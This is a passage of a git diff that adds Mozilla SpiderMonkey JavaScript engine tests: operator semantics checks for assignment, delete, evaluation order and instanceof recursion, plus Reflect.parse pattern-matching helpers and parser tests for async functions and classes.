index 0000000000..4ccc4bb1f6
--- /dev/null
+++ b/js/src/tests/non262/operators/11.13.1-002.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 312354;
+var summary = '11.13.1 Simple Assignment should return type of RHS';
+var actual = '';
+var expect = '';
+
+// XXX this test should really test each property of the native
+// objects, but I'm too lazy. Patches accepted.
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var re = /x/g;
+var y = re.lastIndex = "7";
+
+expect = "string";
+actual = typeof y;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/operators/11.4.1-001.js b/js/src/tests/non262/operators/11.4.1-001.js
new file mode 100644
index 0000000000..6bffa6457d
--- /dev/null
+++ b/js/src/tests/non262/operators/11.4.1-001.js
@@ -0,0 +1,83 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 14 April 2003
+ * SUMMARY: |delete x.y| should return |true| if |x| has no property |y|
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=201987
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 201987;
+var summary = '|delete x.y| should return |true| if |x| has no property |y|';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+var x = {};
+actual = delete x.y;
+expect = true;
+addThis();
+
+status = inSection(2);
+actual = delete {}.y;
+expect = true;
+addThis();
+
+status = inSection(3);
+actual = delete "".y;
+expect = true;
+addThis();
+
+status = inSection(4);
+actual = delete /abc/.y;
+expect = true;
+addThis();
+
+status = inSection(5);
+actual = delete (new Date()).y;
+expect = true;
+addThis();
+
+status = inSection(6);
+var x = 99;
+actual = delete x.y;
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/operators/11.4.1-002.js b/js/src/tests/non262/operators/11.4.1-002.js
new file mode 100644
index 0000000000..da4a77ff1a
--- /dev/null
+++ b/js/src/tests/non262/operators/11.4.1-002.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 423300;
+var summary = '11.4.1 - The delete Operator - delete f()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function f() {}
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = true;
+
+ try
+ {
+ actual = delete f();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/operators/browser.js b/js/src/tests/non262/operators/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/operators/browser.js
diff --git a/js/src/tests/non262/operators/instanceof-bound-function-recursion.js b/js/src/tests/non262/operators/instanceof-bound-function-recursion.js
new file mode 100644
index 0000000000..133b84f2f9
--- /dev/null
+++ b/js/src/tests/non262/operators/instanceof-bound-function-recursion.js
@@ -0,0 +1,23 @@
+function f() {}
+
+var fn = f;
+for (var i = 0; i < 100000; ++i) {
+ fn = fn.bind();
+
+ // Ensure we don't fallback to @@hasInstance from %FunctionPrototype%.
+ Object.defineProperty(fn, Symbol.hasInstance, {
+ value: undefined, writable: true, enumerable: true, writable: true
+ });
+
+ // Prevent generating overlong names of the form "bound bound bound [...] f".
+ Object.defineProperty(fn, "name", {
+ value: "", writable: true, enumerable: true, writable: true
+ });
+}
+
+assertThrowsInstanceOf(
+ () => ({}) instanceof fn,
+ Error,
+ "detect runaway recursion delegating instanceof to bound function target");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/operators/order-01.js b/js/src/tests/non262/operators/order-01.js
new file mode 100644
index 0000000000..cab0c9b466
--- /dev/null
+++ b/js/src/tests/non262/operators/order-01.js
@@ -0,0 +1,72 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 433672;
+var summary = 'operator evaluation order';
+var actual = '';
+var expect = '';
+
+function makeObject(label)
+{
+ var o = (function (){});
+
+ o.label = label;
+ o.valueOf = (function() { actual += this.label + ' valueOf, '; return Object.prototype.valueOf.call(this); });
+ o.toString = (function() { actual += this.label + ' toString, '; return Object.prototype.toString.call(this); });
+
+ return o;
+}
+
+operators = [
+ {section: '11.5.1', operator: '*'},
+ {section: '11.5.2', operator: '/'},
+ {section: '11.5.3', operator: '%'},
+ {section: '11.6.1', operator: '+'},
+ {section: '11.6.2', operator: '-'},
+ {section: '11.7.1', operator: '<<'},
+ {section: '11.7.2', operator: '>>'},
+ {section: '11.7.3', operator: '>>>'},
+ {section: '11.8.1', operator: '<'},
+ {section: '11.8.2', operator: '>'},
+ {section: '11.8.3', operator: '<='},
+ {section: '11.8.4', operator: '>='},
+ {section: '11.10', operator: '&'},
+ {section: '11.10', operator: '^'},
+ {section: '11.10', operator: '|'},
+ {section: '11.13.2', operator: '*='},
+ {section: '11.13.2', operator: '/='},
+ {section: '11.13.2', operator: '%='},
+ {section: '11.13.2', operator: '+='},
+ {section: '11.13.2', operator: '<<='},
+ {section: '11.13.2', operator: '>>='},
+ {section: '11.13.2', operator: '>>>='},
+ {section: '11.13.2', operator: '&='},
+ {section: '11.13.2', operator: '^='},
+ {section: '11.13.2', operator: '|='},
+ ];
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < operators.length; i++)
+ {
+ expect = 'left valueOf, left toString, right valueOf, right toString, ';
+ actual = '';
+
+ var left = makeObject('left');
+ var right = makeObject('right');
+
+ eval('left ' + operators[i].operator + ' right');
+
+ reportCompare(expect, actual, summary + ': ' + operators[i].section + ' ' + operators[i].operator);
+ }
+}
diff --git a/js/src/tests/non262/operators/shell.js b/js/src/tests/non262/operators/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/operators/shell.js
diff --git a/js/src/tests/non262/reflect-parse/Match.js b/js/src/tests/non262/reflect-parse/Match.js
new file mode 100644
index 0000000000..2a14d8a315
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/Match.js
@@ -0,0 +1,242 @@
+// |reftest| skip
+
+// A little pattern-matching library.
+var Match =
+
+(function() {
+
+ function Pattern(template) {
+ // act like a constructor even as a function
+ if (!(this instanceof Pattern))
+ return new Pattern(template);
+
+ this.template = template;
+ }
+
+ Pattern.prototype = {
+ match: function(act) {
+ return match(act, this.template);
+ },
+
+ matches: function(act) {
+ try {
+ return this.match(act);
+ }
+ catch (e) {
+ if (!(e instanceof MatchError))
+ throw e;
+ return false;
+ }
+ },
+
+ assert: function(act, message) {
+ try {
+ return this.match(act);
+ }
+ catch (e) {
+ if (!(e instanceof MatchError))
+ throw e;
+ throw new Error((message || "failed match") + ": " + e.message);
+ }
+ },
+
+ toString: () => "[object Pattern]"
+ };
+
+ Pattern.ANY = new Pattern;
+ Pattern.ANY.template = Pattern.ANY;
+
+ Pattern.NUMBER = new Pattern;
+ Pattern.NUMBER.match = function (act) {
+ if (typeof act !== 'number') {
+ throw new MatchError("Expected number, got: " + quote(act));
+ }
+ }
+
+ Pattern.NATURAL = new Pattern
+ Pattern.NATURAL.match = function (act) {
+ if (typeof act !== 'number' || act !== Math.floor(act) || act < 0) {
+ throw new MatchError("Expected natural number, got: " + quote(act));
+ }
+ }
+
+ class ObjectWithExactly extends Pattern {
+ constructor(template) {
+ super(template);
+ }
+
+ match(actual) {
+ return matchObjectWithExactly(actual, this.template)
+ }
+ }
+
+ Pattern.OBJECT_WITH_EXACTLY = function (template) {
+ return new ObjectWithExactly(template);
+ }
+
+ var quote = JSON.stringify;
+
+ class MatchError extends Error {
+ toString() {
+ return "match error: " + this.message;
+ }
+ };
+
+ Pattern.MatchError = MatchError;
+
+ function isAtom(x) {
+ return (typeof x === "number") ||
+ (typeof x === "string") ||
+ (typeof x === "boolean") ||
+ (x === null) ||
+ (x === undefined) ||
+ (typeof x === "object" && x instanceof RegExp) ||
+ (typeof x === "bigint");
+ }
+
+ function isObject(x) {
+ return (x !== null) && (typeof x === "object");
+ }
+
+ function isFunction(x) {
+ return typeof x === "function";
+ }
+
+ function isArrayLike(x) {
+ return isObject(x) && ("length" in x);
+ }
+
+ function matchAtom(act, exp) {
+ if ((typeof exp) === "number" && isNaN(exp)) {
+ if ((typeof act) !== "number" || !isNaN(act))
+ throw new MatchError("expected NaN, got: " + quote(act));
+ return true;
+ }
+
+ if (exp === null) {
+ if (act !== null)
+ throw new MatchError("expected null, got: " + quote(act));
+ return true;
+ }
+
+ if (exp instanceof RegExp) {
+ if (!(act instanceof RegExp) || exp.source !== act.source)
+ throw new MatchError("expected " + quote(exp) + ", got: " + quote(act));
+ return true;
+ }
+
+ switch (typeof exp) {
+ case "string":
+ case "undefined":
+ if (act !== exp)
+ throw new MatchError("expected " + quote(exp) + ", got " + quote(act));
+ return true;
+ case "boolean":
+ case "number":
+ case "bigint":
+ if (exp !== act)
+ throw new MatchError("expected " + exp + ", got " + quote(act));
+ return true;
+ }
+
+ throw new Error("bad pattern: " + JSON.stringify(exp));
+ }
+
+ // Match an object having at least the expected properties.
+ function matchObjectWithAtLeast(act, exp) {
+ if (!isObject(act))
+ throw new MatchError("expected object, got " + quote(act));
+
+ for (var key in exp) {
+ if (!(key in act))
+ throw new MatchError("expected property " + quote(key) + " not found in " + quote(act));
+ try {
+ match(act[key], exp[key]);
+ } catch (inner) {
+ if (!(inner instanceof MatchError)) {
+ throw inner;
+ }
+ inner.message = `matching property "${String(key)}":\n${inner.message}`;
+ throw inner;
+ }
+ }
+
+ return true;
+ }
+
+ // Match an object having all the expected properties and no more.
+ function matchObjectWithExactly(act, exp) {
+ matchObjectWithAtLeast(act, exp);
+
+ for (var key in act) {
+ if (!(key in exp)) {
+ throw new MatchError("unexpected property " + quote(key));
+ }
+ }
+
+ return true;
+ }
+
+ function matchFunction(act, exp) {
+ if (!isFunction(act))
+ throw new MatchError("expected function, got " + quote(act));
+
+ if (act !== exp)
+ throw new MatchError("expected function: " + exp +
+ "\nbut got different function: " + act);
+ }
+
+ function matchArray(act, exp) {
+ if (!isObject(act) || !("length" in act))
+ throw new MatchError("expected array-like object, got " + quote(act));
+
+ var length = exp.length;
+ if (act.length !== exp.length)
+ throw new MatchError("expected array-like object of length " + length + ", got " + quote(act));
+
+ for (var i = 0; i < length; i++) {
+ if (i in exp) {
+ if (!(i in act))
+ throw new MatchError("expected array property " + i + " not found in " + quote(act));
+ try {
+ match(act[i], exp[i]);
+ } catch (inner) {
+ if (!(inner instanceof MatchError)) {
+ throw inner;
+ }
+ inner.message = `matching array element [${i}]:\n${inner.message}`;
+ throw inner;
+ }
+ }
+ }
+
+ return true;
+ }
+
+ function match(act, exp) {
+ if (exp === Pattern.ANY)
+ return true;
+
+ if (exp instanceof Pattern)
+ return exp.match(act);
+
+ if (isAtom(exp))
+ return matchAtom(act, exp);
+
+ if (isArrayLike(exp))
+ return matchArray(act, exp);
+
+ if (isFunction(exp))
+ return matchFunction(act, exp);
+
+ if (isObject(exp))
+ return matchObjectWithAtLeast(act, exp);
+
+ throw new Error("bad pattern: " + JSON.stringify(exp));
+ }
+
+ return { Pattern: Pattern,
+ MatchError: MatchError };
+
+})();
+
diff --git a/js/src/tests/non262/reflect-parse/PatternAsserts.js b/js/src/tests/non262/reflect-parse/PatternAsserts.js
new file mode 100644
index 0000000000..1be20d2812
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/PatternAsserts.js
@@ -0,0 +1,95 @@
+// |reftest| skip
+
+loadRelativeToScript('PatternBuilders.js');
+
+function localSrc(src) {
+ return "(function(){ " + src + " })";
+}
+function localPatt(patt) {
+ return program([exprStmt(funExpr(null, [], blockStmt([patt])))]);
+}
+function blockSrc(src) {
+ return "(function(){ { " + src + " } })";
+}
+function blockPatt(patt) {
+ return program([exprStmt(funExpr(null, [], blockStmt([blockStmt([patt])])))]);
+}
+
+function assertBlockStmt(src, patt) {
+ blockPatt(patt).assert(Reflect.parse(blockSrc(src)));
+}
+
+function assertBlockExpr(src, patt) {
+ assertBlockStmt(src, exprStmt(patt));
+}
+
+function assertBlockDecl(src, patt, builder) {
+ blockPatt(patt).assert(Reflect.parse(blockSrc(src), {builder: builder}));
+}
+
+function assertLocalStmt(src, patt) {
+ localPatt(patt).assert(Reflect.parse(localSrc(src)));
+}
+
+function assertLocalExpr(src, patt) {
+ assertLocalStmt(src, exprStmt(patt));
+}
+
+function assertLocalDecl(src, patt) {
+ localPatt(patt).assert(Reflect.parse(localSrc(src)));
+}
+
+function assertGlobalStmt(src, patt, builder) {
+ program([patt]).assert(Reflect.parse(src, {builder: builder}));
+}
+
+function assertStringExpr(src, patt) {
+ program([exprStmt(patt)]).assert(Reflect.parse(src));
+}
+
+function assertGlobalExpr(src, patt, builder) {
+ program([exprStmt(patt)]).assert(Reflect.parse(src, {builder: builder}));
+ //assertStmt(src, exprStmt(patt));
+}
+
+function assertGlobalDecl(src, patt) {
+ program([patt]).assert(Reflect.parse(src));
+}
+
+function assertProg(src, patt) {
+ program(patt).assert(Reflect.parse(src));
+}
+
+function assertStmt(src, patt) {
+ assertLocalStmt(src, patt);
+ assertGlobalStmt(src, patt);
+ assertBlockStmt(src, patt);
+}
+
+function assertInFunctionExpr(src, patt) {
+ assertLocalExpr(src, patt);
+ assertBlockExpr(src, patt);
+}
+
+function assertExpr(src, patt) {
+ assertLocalExpr(src, patt);
+ assertGlobalExpr(src, patt);
+ assertBlockExpr(src, patt);
+}
+
+function assertDecl(src, patt) {
+ assertLocalDecl(src, patt);
+ assertGlobalDecl(src, patt);
+ assertBlockDecl(src, patt);
+}
+
+function assertError(src, errorType) {
+ try {
+ Reflect.parse(src);
+ } catch (expected) {
+ if (!(expected instanceof errorType))
+ throw expected;
+ return;
+ }
+ throw new Error("expected " + errorType.name + " for " + JSON.stringify(src));
+}
diff --git a/js/src/tests/non262/reflect-parse/PatternBuilders.js b/js/src/tests/non262/reflect-parse/PatternBuilders.js
new file mode 100644
index 0000000000..6415e405fb
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/PatternBuilders.js
@@ -0,0 +1,290 @@
+// |reftest| skip
+
+loadRelativeToScript('Match.js');
+
+var { Pattern, MatchError } = Match;
+
+function program(elts) {
+ return Pattern({ type: "Program", body: elts });
+}
+function exprStmt(expr) {
+ return Pattern({ type: "ExpressionStatement", expression: expr });
+}
+function throwStmt(expr) {
+ return Pattern({ type: "ThrowStatement", argument: expr });
+}
+function returnStmt(expr) {
+ return Pattern({ type: "ReturnStatement", argument: expr });
+}
+function yieldExpr(expr) {
+ return Pattern({ type: "YieldExpression", argument: expr });
+}
+function lit(val) {
+ return Pattern({ type: "Literal", value: val });
+}
+function comp(name) {
+ return Pattern({ type: "ComputedName", name: name });
+}
+function spread(val) {
+ return Pattern({ type: "SpreadExpression", expression: val});
+}
+function optExpr(val) {
+ return Pattern({ type: "OptionalExpression", expression: val});
+}
+function delOptExpr(val) {
+ return Pattern({ type: "DeleteOptionalExpression", expression: val});
+}
+var thisExpr = Pattern({ type: "ThisExpression" });
+function funDecl(id, params, body, defaults=[], rest=null) {
+ return Pattern({ type: "FunctionDeclaration",
+ id: id,
+ params: params,
+ defaults: defaults,
+ body: body,
+ rest: rest,
+ generator: false });
+}
+function genFunDecl(style, id, params, body) {
+ return Pattern({ type: "FunctionDeclaration",
+ id: id,
+ params: params,
+ defaults: [],
+ body: body,
+ generator: true,
+ style: style });
+}
+function asyncFunDecl(id, params, body) {
+ return Pattern({ type: "FunctionDeclaration",
+ id: id,
+ params: params,
+ defaults: [],
+ body: body,
+ generator: false,
+ async: true });
+}
+function varDecl(decls) {
+ return Pattern({ type: "VariableDeclaration", declarations: decls, kind: "var" });
+}
+function letDecl(decls) {
+ return Pattern({ type: "VariableDeclaration", declarations: decls, kind: "let" });
+}
+function constDecl(decls) {
+ return Pattern({ type: "VariableDeclaration", declarations: decls, kind: "const" });
+}
+function ident(name) {
+ return Pattern({ type: "Identifier", name: name });
+}
+function dotExpr(obj, id) {
+ return Pattern({ type: "MemberExpression", computed: false, object: obj, property: id });
+}
+function memExpr(obj, id) {
+ return Pattern({ type: "MemberExpression", computed: true, object: obj, property: id });
+}
+function optDotExpr(obj, id) {
+ return Pattern({ type: "OptionalMemberExpression", computed: false, object: obj, property: id });
+}
+function optMemExpr(obj, id) {
+ return Pattern({ type: "OptionalMemberExpression", computed: true, object: obj, property: id });
+}
+function forStmt(init, test, update, body) {
+ return Pattern({ type: "ForStatement", init: init, test: test, update: update, body: body });
+}
+function forOfStmt(lhs, rhs, body) {
+ return Pattern({ type: "ForOfStatement", left: lhs, right: rhs, body: body });
+}
+function forInStmt(lhs, rhs, body) {
+ return Pattern({ type: "ForInStatement", left: lhs, right: rhs, body: body });
+}
+function breakStmt(lab) {
+ return Pattern({ type: "BreakStatement", label: lab });
+}
+function continueStmt(lab) {
+ return Pattern({ type: "ContinueStatement", label: lab });
+}
+function blockStmt(body) {
+ return Pattern({ type: "BlockStatement", body: body });
+}
+function literal(val) {
+ return Pattern({ type: "Literal", value: val });
+}
+var emptyStmt = Pattern({ type: "EmptyStatement" });
+function ifStmt(test, cons, alt) {
+ return Pattern({ type: "IfStatement", test: test, alternate: alt, consequent: cons });
+}
+function labStmt(lab, stmt) {
+ return Pattern({ type: "LabeledStatement", label: lab, body: stmt });
+}
+function withStmt(obj, stmt) {
+ return Pattern({ type: "WithStatement", object: obj, body: stmt });
+}
+function whileStmt(test, stmt) {
+ return Pattern({ type: "WhileStatement", test: test, body: stmt });
+}
+function doStmt(stmt, test) {
+ return Pattern({ type: "DoWhileStatement", test: test, body: stmt });
+}
+function switchStmt(disc, cases) {
+ return Pattern({ type: "SwitchStatement", discriminant: disc, cases: cases });
+}
+function caseClause(test, stmts) {
+ return Pattern({ type: "SwitchCase", test: test, consequent: stmts });
+}
+function defaultClause(stmts) {
+ return Pattern({ type: "SwitchCase", test: null, consequent: stmts });
+}
+function catchClause(id, body) {
+ return Pattern({ type: "CatchClause", param: id, body: body });
+}
+function tryStmt(body, handler, fin) {
+ return Pattern({ type: "TryStatement", block: body, handler: handler, finalizer: fin });
+}
+
+function superProp(id) {
+ return dotExpr(Pattern({ type: "Super" }), id);
+}
+function superElem(id) {
+ return memExpr(Pattern({ type: "Super" }), id);
+}
+
+function classStmt(id, heritage, body) {
+ return Pattern({ type: "ClassStatement",
+ id: id,
+ superClass: heritage,
+ body: body});
+}
+function classExpr(id, heritage, body) {
+ return Pattern({ type: "ClassExpression",
+ id: id,
+ superClass: heritage,
+ body: body});
+}
+function classMethod(id, body, kind, static) {
+ return Pattern({ type: "ClassMethod",
+ name: id,
+ body: body,
+ kind: kind,
+ static: static });
+}
+function classField(id, init) {
+ return Pattern({ type: "ClassField",
+ name: id,
+ init: init });
+}
+function staticClassBlock(body) {
+ return Pattern({ type: "StaticClassBlock", body: body });
+}
+
+function funExpr(id, args, body, gen) {
+ return Pattern({ type: "FunctionExpression",
+ id: id,
+ params: args,
+ body: body,
+ generator: false });
+}
+function genFunExpr(style, id, args, body) {
+ return Pattern({ type: "FunctionExpression",
+ id: id,
+ params: args,
+ body: body,
+ generator: true,
+ style: style });
+}
+function asyncFunExpr(id, args, body) {
+ return Pattern({ type: "FunctionExpression",
+ id: id,
+ params: args,
+ body: body,
+ generator: false,
+ async: true });
+}
+function arrowExpr(args, body) {
+ return Pattern({ type: "ArrowFunctionExpression",
+ params: args,
+ body: body });
+}
+function asyncArrowExpr(isExpression, args, body) {
+ return Pattern({ type: "ArrowFunctionExpression",
+ params: args,
+ body: body,
+ generator: false,
+ async: true,
+ expression: isExpression });
+}
+
+function metaProperty(meta, property) {
+ return Pattern({ type: "MetaProperty",
+ meta: meta,
+ property: property });
+}
+function newTarget() {
+ return metaProperty(ident("new"), ident("target"));
+}
+
+function unExpr(op, arg) {
+ return Pattern({ type: "UnaryExpression", operator: op, argument: arg });
+}
+function binExpr(op, left, right) {
+ return Pattern({ type: "BinaryExpression", operator: op, left: left, right: right });
+}
+function aExpr(op, left, right) {
+ return Pattern({ type: "AssignmentExpression", operator: op, left: left, right: right });
+}
+function updExpr(op, arg, prefix) {
+ return Pattern({ type: "UpdateExpression", operator: op, argument: arg, prefix: prefix });
+}
+function logExpr(op, left, right) {
+ return Pattern({ type: "LogicalExpression", operator: op, left: left, right: right });
+}
+
+function condExpr(test, cons, alt) {
+ return Pattern({ type: "ConditionalExpression", test: test, consequent: cons, alternate: alt });
+}
+function seqExpr(exprs) {
+ return Pattern({ type: "SequenceExpression", expressions: exprs });
+}
+function newExpr(callee, args) {
+ return Pattern({ type: "NewExpression", callee: callee, arguments: args });
+}
+function callExpr(callee, args) {
+ return Pattern({ type: "CallExpression", callee: callee, arguments: args });
+}
+function optCallExpr(callee, args) {
+ return Pattern({ type: "OptionalCallExpression", callee: callee, arguments: args });
+}
+function superCallExpr(args) {
+ return callExpr({ type: "Super" }, args);
+}
+function arrExpr(elts) {
+ return Pattern({ type: "ArrayExpression", elements: elts });
+}
+function objExpr(elts) {
+ return Pattern({ type: "ObjectExpression", properties: elts });
+}
+function computedName(elts) {
+ return Pattern({ type: "ComputedName", name: elts });
+}
+function templateLit(elts) {
+ return Pattern({ type: "TemplateLiteral", elements: elts });
+}
+function taggedTemplate(tagPart, templatePart) {
+ return Pattern({ type: "TaggedTemplate", callee: tagPart, arguments : templatePart });
+}
+function template(raw, cooked, ...args) {
+ return Pattern([{ type: "CallSiteObject", raw: raw, cooked: cooked}, ...args]);
+}
+
+function arrPatt(elts) {
+ return Pattern({ type: "ArrayPattern", elements: elts });
+}
+function objPatt(elts) {
+ return Pattern({ type: "ObjectPattern", properties: elts });
+}
+
+function assignElem(target, defaultExpr = null, targetIdent = typeof target == 'string' ? ident(target) : target) {
+ return defaultExpr ? aExpr('=', targetIdent, defaultExpr) : targetIdent;
+}
+function assignProp(property, target, defaultExpr = null, shorthand = !target, targetProp = target || ident(property)) {
+ return Pattern({
+ type: "Property", key: ident(property), shorthand,
+ value: defaultExpr ? aExpr('=', targetProp, defaultExpr) : targetProp });
+}
diff --git a/js/src/tests/non262/reflect-parse/async.js b/js/src/tests/non262/reflect-parse/async.js
new file mode 100644
index 0000000000..355f0356c5
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/async.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+// async function declaration.
+assertDecl("async function foo() {}", asyncFunDecl(ident("foo"), [], blockStmt([])));
+
+// async function expression.
+assertExpr("(async function() {})", asyncFunExpr(null, [], blockStmt([])));
+assertExpr("(async function foo() {})", asyncFunExpr(ident("foo"), [], blockStmt([])));
+
+// async arrow.
+assertExpr("async a => 1", asyncArrowExpr(true, [ident("a")], literal(1)));
+assertExpr("async a => { 1 }", asyncArrowExpr(false, [ident("a")], blockStmt([exprStmt(literal(1))])));
+assertExpr("async a => { return 1 }", asyncArrowExpr(false, [ident("a")], blockStmt([returnStmt(literal(1))])));
+
+// async method.
+assertExpr("({ async foo() {} })", objExpr([{ key: ident("foo"), value: asyncFunExpr(ident("foo"), [], blockStmt([]))}]));
+
+assertStmt("class C { async foo() {} }", classStmt(ident("C"), null, [classMethod(ident("foo"), asyncFunExpr(ident("foo"), [], blockStmt([])), "method", false)]));
+assertStmt("class C { static async foo() {} }", classStmt(ident("C"), null, [classMethod(ident("foo"), asyncFunExpr(ident("foo"), [], blockStmt([])), "method", true)]));
+
+// await expression.
+assertDecl("async function foo() { await bar }", asyncFunDecl(ident("foo"), [], blockStmt([exprStmt(unExpr("await", ident("bar")))])));
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/reflect-parse/browser.js b/js/src/tests/non262/reflect-parse/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/browser.js
diff --git a/js/src/tests/non262/reflect-parse/class-fields.js b/js/src/tests/non262/reflect-parse/class-fields.js
new file mode 100644
index 0000000000..c1ace34b42
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/class-fields.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Classes
+function testClassFields() {
+ function constructor_(name) {
+ let body = blockStmt([]);
+ let method = funExpr(ident(name), [], body);
+ return classMethod(ident("constructor"), method, "method", false);
+ }
+
+ assertExpr("(class C { x = 2; })", classExpr(ident("C"), null, [classField(ident("x"), lit(2))]));
+ assertExpr("(class C { x = x; })", classExpr(ident("C"), null, [classField(ident("x"), ident("x"))]))
+ assertExpr("(class C { x; })", classExpr(ident("C"), null, [classField(ident("x"), null)]))
+ assertExpr("(class C { x; y = 2; })", classExpr(ident("C"), null, [classField(ident("x"), null), classField(ident("y"), lit(2))]))
+ assertExpr("(class C { x = 2; constructor(){} })", classExpr(ident("C"), null, [classField(ident("x"), lit(2)), constructor_("C")]))
+
+
+ assertExpr("(class C { #x = 2; })", classExpr(ident("C"), null, [classField(ident("#x"), lit(2))]));
+ assertExpr("(class C { #x; })", classExpr(ident("C"), null, [classField(ident("#x"), null)]))
+ assertExpr("(class C { #x; #y = 2; })", classExpr(ident("C"), null, [classField(ident("#x"), null), classField(ident("#y"), lit(2))]))
+
+}
+
+runtest(testClassFields);
diff --git a/js/src/tests/non262/reflect-parse/class-static.js b/js/src/tests/non262/reflect-parse/class-static.js
new file mode 100644
index 0000000000..e770b2dfc6
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/class-static.js
@@ -0,0 +1,8 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Classes
+function testClassStaticBlock() {
+
+ assertExpr("(class C { static { 2; } })", classExpr(ident("C"), null, [staticClassBlock(blockStmt([exprStmt(lit(2))]))]));
+}
+
+runtest(testClassStaticBlock); \ No newline at end of file
diff --git a/js/src/tests/non262/reflect-parse/classes.js b/js/src/tests/non262/reflect-parse/classes.js
new file mode 100644
index 0000000000..b855c5d741
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/classes.js
@@ -0,0 +1,551 @@
+// |reftest| slow skip-if(!xulRuntime.shell)
+// Classes
+function testClasses() {
+ function methodFun(id, kind, generator, args, body = []) {
+ assertEq(generator && kind === "method", generator);
+ assertEq(typeof id === 'string' || id === null, true);
+ let methodName;
+ switch (kind) {
+ case "method":
+ methodName = typeof id === 'string' ? ident(id) : null;
+ break;
+ case "get":
+ case "set":
+ methodName = ident(`${kind} ${typeof id === 'string' ? id : ""}`);
+ break;
+ default:
+ methodName = null;
+ break;
+ }
+ return generator
+ ? genFunExpr("es6", methodName, args.map(ident), blockStmt(body))
+ : funExpr(methodName, args.map(ident), blockStmt(body));
+ }
+
+ function simpleMethod(id, kind, generator, args = [], isStatic = false) {
+ return classMethod(ident(id),
+ methodFun(id, kind, generator, args),
+ kind, isStatic);
+ }
+ function ctorWithName(id, body = []) {
+ return classMethod(ident("constructor"),
+ methodFun(id, "method", false, [], body),
+ "method", false);
+ }
+ function emptyCPNMethod(id, isStatic) {
+ return classMethod(computedName(lit(id)),
+ funExpr(null, [], blockStmt([])),
+ "method", isStatic);
+ }
+
+ function assertClassExpr(str, methods, heritage = null, name = null) {
+ let template = classExpr(name, heritage, methods);
+ assertExpr("(" + str + ")", template);
+ }
+
+ // FunctionExpression of constructor has class name as its id.
+ // FIXME: Implement ES6 function "name" property semantics (bug 883377).
+ let ctorPlaceholder = {};
+ function assertClass(str, methods, heritage = null, constructorBody = []) {
+ let namelessStr = str.replace("NAME", "");
+ let namedStr = str.replace("NAME", "Foo");
+ let namedCtor = ctorWithName("Foo", constructorBody);
+ let namelessCtor = ctorWithName(null, constructorBody);
+ let namelessMethods = methods.map(x => x == ctorPlaceholder ? namelessCtor : x);
+ let namedMethods = methods.map(x => x == ctorPlaceholder ? namedCtor : x);
+ assertClassExpr(namelessStr, namelessMethods, heritage);
+ assertClassExpr(namedStr, namedMethods, heritage, ident("Foo"));
+
+ let template = classStmt(ident("Foo"), heritage, namedMethods);
+ assertStmt(namedStr, template);
+ }
+ function assertNamedClassError(str, error) {
+ assertError(str, error);
+ assertError("(" + str + ")", error);
+ }
+ function assertClassError(str, error) {
+ assertNamedClassError(str, error);
+ assertError("(" + str.replace("NAME", "") + ")", error);
+ }
+
